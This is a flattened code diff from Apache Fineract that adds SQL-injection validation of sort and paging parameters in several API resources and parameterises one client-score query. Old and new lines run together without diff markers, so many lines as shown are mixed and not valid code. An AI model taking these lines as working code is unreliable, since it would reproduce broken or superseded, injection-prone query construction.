private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer; private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer;
private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService; private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService;
private final SqlValidator sqlValidator;
@POST @POST
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -184,7 +186,10 @@ public class ReportMailingJobApiResource {
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME); .validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
final SearchParameters searchParameters = SearchParameters.fromReportMailingJob(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService
.retrieveAllReportMailingJobs(searchParameters); .retrieveAllReportMailingJobs(searchParameters);
@@ -43,6 +43,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData; import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService; import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME) @Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME)
@@ -55,6 +56,7 @@ public class ReportMailingJobRunHistoryApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer; private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer;
private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService; private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@ public class ReportMailingJobRunHistoryApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.platformSecurityContext.authenticatedUser() this.platformSecurityContext.authenticatedUser()
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME); .validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
final SearchParameters searchParameters = SearchParameters.fromReportMailingJobRunHistory(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService
.retrieveRunHistoryByJobId(reportMailingJobId, searchParameters); .retrieveRunHistoryByJobId(reportMailingJobId, searchParameters);
@@ -71,10 +71,10 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
sqlStringBuilder.append(mapper.reportMailingJobSchema()); sqlStringBuilder.append(mapper.reportMailingJobSchema());
sqlStringBuilder.append(" where rmj.is_deleted = false"); sqlStringBuilder.append(" where rmj.is_deleted = false");
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder()); sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
} }
@@ -82,9 +82,9 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
sqlStringBuilder.append(" order by rmj.name "); sqlStringBuilder.append(" order by rmj.name ");
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" "); sqlStringBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -68,18 +68,18 @@ public class ReportMailingJobRunHistoryReadPlatformServiceImpl implements Report
queryParameters.add(reportMailingJobId); queryParameters.add(reportMailingJobId);
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder()); sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" "); sqlStringBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.sms.data.SmsData; import org.apache.fineract.infrastructure.sms.data.SmsData;
import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService; import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@@ -66,6 +67,7 @@ public class SmsApiResource {
private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer; private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final SqlValidator sqlValidator;
@GET @GET
public String retrieveAll(@Context final UriInfo uriInfo) { public String retrieveAll(@Context final UriInfo uriInfo) {
@@ -99,7 +101,10 @@ public class SmsApiResource {
@QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy, @QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy,
@QueryParam("sortOrder") final String sortOrder) { @QueryParam("sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat); final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
@@ -225,10 +225,10 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
@@ -236,9 +236,9 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
sqlBuilder.append(" order by smo.submittedon_date, smo.id"); sqlBuilder.append(" order by smo.submittedon_date, smo.id");
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -20,6 +20,8 @@ package org.apache.fineract.infrastructure.survey.service;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant; import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant;
import org.apache.fineract.infrastructure.dataqueries.data.DatatableData; import org.apache.fineract.infrastructure.dataqueries.data.DatatableData;
import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData; import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData;
@@ -27,33 +29,25 @@ import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeader
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService; import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService; import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator; import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview; import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview;
import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus; import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus;
import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData; import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet; import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@Slf4j
@RequiredArgsConstructor
@Service @Service
public class ReadSurveyServiceImpl implements ReadSurveyService { public class ReadSurveyServiceImpl implements ReadSurveyService {
private final PlatformSecurityContext context; private final PlatformSecurityContext context;
private final JdbcTemplate jdbcTemplate; private final JdbcTemplate jdbcTemplate;
private final SqlValidator sqlValidator;
private final GenericDataService genericDataService; private final GenericDataService genericDataService;
private final ReadWriteNonCoreDataService readWriteNonCoreDataService; private final ReadWriteNonCoreDataService readWriteNonCoreDataService;
@Autowired
public ReadSurveyServiceImpl(final PlatformSecurityContext context, final JdbcTemplate jdbcTemplate,
final GenericDataService genericDataService, final ReadWriteNonCoreDataService readWriteNonCoreDataService) {
this.context = context;
this.jdbcTemplate = jdbcTemplate;
this.genericDataService = genericDataService;
this.readWriteNonCoreDataService = readWriteNonCoreDataService;
}
@Override @Override
public List<SurveyDataTableData> retrieveAllSurveys() { public List<SurveyDataTableData> retrieveAllSurveys() {
@@ -91,7 +85,7 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
@Override @Override
public SurveyDataTableData retrieveSurvey(String surveyName) { public SurveyDataTableData retrieveSurvey(String surveyName) {
SQLInjectionValidator.validateSQLInput(surveyName); sqlValidator.validate(surveyName);
final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table " final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table "
+ " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'" + " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'"
+ " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id" + " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id"
@@ -153,13 +147,13 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
+ " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '" + " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '"
+ LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from <= tz.score AND score_to >=tz.score" + LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from <= tz.score AND score_to >=tz.score"
+ " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id" + " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id"
+ " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = " + clientId); + " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = ?");
} }
List<ClientScoresOverview> scoresOverviews = new ArrayList<>(); List<ClientScoresOverview> scoresOverviews = new ArrayList<>();
for (String sql : sqls) { for (String sql : sqls) {
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql); final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql, clientId);
while (rs.next()) { while (rs.next()) {
scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code")) scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code"))
@@ -41,6 +41,7 @@ import org.apache.fineract.infrastructure.core.serialization.ToApiJsonSerializer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.notification.data.NotificationData; import org.apache.fineract.notification.data.NotificationData;
import org.apache.fineract.notification.service.NotificationReadPlatformService; import org.apache.fineract.notification.service.NotificationReadPlatformService;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@@ -55,6 +56,7 @@ public class NotificationApiResource {
private final NotificationReadPlatformService notificationReadPlatformService; private final NotificationReadPlatformService notificationReadPlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer; private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@ public class NotificationApiResource {
this.context.authenticatedUser(); this.context.authenticatedUser();
final Page<NotificationData> notificationData; final Page<NotificationData> notificationData;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
if (!isRead) { if (!isRead) {
notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters); notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters);
} else { } else {
@@ -135,18 +135,18 @@ public class NotificationReadPlatformServiceImpl implements NotificationReadPlat
final StringBuilder sqlBuilder = new StringBuilder(200); final StringBuilder sqlBuilder = new StringBuilder(200);
sqlBuilder.append(sql); sqlBuilder.append(sql);
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.serialization.GoogleGsonSerialize
import org.apache.fineract.infrastructure.core.service.ExternalIdFactory; import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.office.data.OfficeData; import org.apache.fineract.organisation.office.data.OfficeData;
import org.apache.fineract.organisation.office.service.OfficeReadPlatformService; import org.apache.fineract.organisation.office.service.OfficeReadPlatformService;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition; import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
@@ -90,6 +91,7 @@ public class OfficesApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson(); private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson();
@@ -105,7 +107,10 @@ public class OfficesApiResource {
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy, @QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forOffices(orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).isSelfUser(false).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters); final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS); return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS);
@@ -159,12 +159,12 @@ public class OfficeReadPlatformServiceImpl implements OfficeReadPlatformService
sqlBuilder.append(rm.officeSchema()); sqlBuilder.append(rm.officeSchema());
sqlBuilder.append(" where o.hierarchy like ? "); sqlBuilder.append(" where o.hierarchy like ? ");
if (searchParameters != null) { if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); if (searchParameters.hasSortOrder()) {
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
} }
} else { } else {
sqlBuilder.append("order by o.hierarchy"); sqlBuilder.append("order by o.hierarchy");
@@ -485,9 +485,9 @@ public class TellerManagementReadPlatformServiceImpl implements TellerManagement
+ " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') " + " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') "
+ " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date "; + " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date ";
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sql += " "; sql += " ";
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()); sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset());
} else { } else {
sql += sqlGenerator.limit(searchParameters.getLimit()); sql += sqlGenerator.limit(searchParameters.getLimit());
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData; import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService; import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@@ -62,6 +63,7 @@ public class AccountTransfersApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService; private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -125,7 +127,11 @@ public class AccountTransfersApiResource {
this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId); final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId);
@@ -54,6 +54,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData; import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO; import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionData; import org.apache.fineract.portfolio.account.data.StandingInstructionData;
@@ -74,6 +75,7 @@ public class StandingInstructionApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionReadPlatformService standingInstructionReadPlatformService; private final StandingInstructionReadPlatformService standingInstructionReadPlatformService;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService; private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -182,7 +184,11 @@ public class StandingInstructionApiResource {
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final LocalDate startDateRange = null; final LocalDate startDateRange = null;
final LocalDate endDateRange = null; final LocalDate endDateRange = null;
@@ -212,8 +218,11 @@ public class StandingInstructionApiResource {
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId); StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder); final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
